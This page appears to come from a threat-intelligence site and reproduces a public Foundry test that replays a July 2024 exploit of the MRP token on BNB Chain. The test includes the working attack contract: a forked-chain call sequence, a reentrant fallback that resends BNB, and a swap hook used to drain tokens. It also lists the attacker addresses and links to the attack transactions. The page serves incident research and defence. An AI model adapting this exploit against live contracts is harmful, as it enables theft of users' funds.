Skip to content
THREATWIRE

Public reproduction file

src/test/2024-07/MRP_exp.sol

Public reproduction file for dataset entry MRP.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/MRP_exp.sol60 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~17 BNB
8// TX : https://app.blocksec.com/explorer/tx/bsc/0x4353a6d37e95a0844f511f0ea9300ef3081130b24f0cf7a4bd1cae26ec393101
9// Attacker : https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138
10// Attack Contract : https://bscscan.com/address/0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d
13contract Exploit is Test {
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
16 IERC20 WMRP = IERC20(0x35F5cEf517317694DF8c50C894080caA8c92AF7D);
17 IERC20 MRP = IERC20(0xA0Ba9d82014B33137B195b5753F3BC8Bf15700a3);
19 function setUp() public {
20 cheats.createSelectFork("bsc", 40_122_169);
21 }
23 function testExploit() public {
24 emit log_named_decimal_uint("[Begin] Attacker BNB before exploit", address(this).balance, 18);
25 attack();
26 emit log_named_decimal_uint("[End] Attacker BNB after exploit", address(this).balance, 18);
27 }
29 function attack() public {
30 address(WMRP).call{value: 43.14 ether}("");
31 WMRP.transfer(address(WMRP), 0);
32 MRP.transfer(address(WMRP), MRP.balanceOf(address(this)));
33 address(WMRP).call{value: 58 ether}("");
34 WMRP.transfer(address(this), 0);
35 MRP.transfer(address(WMRP), 1268 ether);
36 WMRP.transfer(address(WMRP), 0);
37 emit log_named_decimal_uint("attacker MRP balance :", MRP.balanceOf(address(this)), MRP.decimals());
38 require(MRP.balanceOf(address(this)) >= 6000 ether, "The attack is invalid.");
39 uint256 Transferamount = MRP.balanceOf(address(this)) / 20;
40 uint256 i = 0;
41 while (i < 20) {
42 MRP.transfer(address(MRP), Transferamount);
43 i++;
44 }
45 }
47 fallback() external payable {
48 if (msg.value > 50 ether && msg.value < 100 ether) {
49 address(WMRP).call{value: 58 ether}("");
50 }
51 }
53 function on314Swaper() public returns (bytes4) {
54 bytes4 selector = bytes4(msg.data);
55 if (selector == 0x1457b0ed) {
56 return 0x0000000;
57 }
58 revert("no such function");
59 }

Analysis

Dataset entry

Public Foundry test for “MRP” (2024-07-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x132d9bbdbe718365af6cc9e43bac109a9a53b138

  • Attack Contract

    0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d

File record

Name
MRP
Path
src/test/2024-07/MRP_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ed62b11f6ee24b75f47241eaa11402c649887160
Language
Solidity
Size
61 lines
Date
2024-07-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-07/MRP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ed62b11f6ee24b75f47241eaa11402c649887160, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.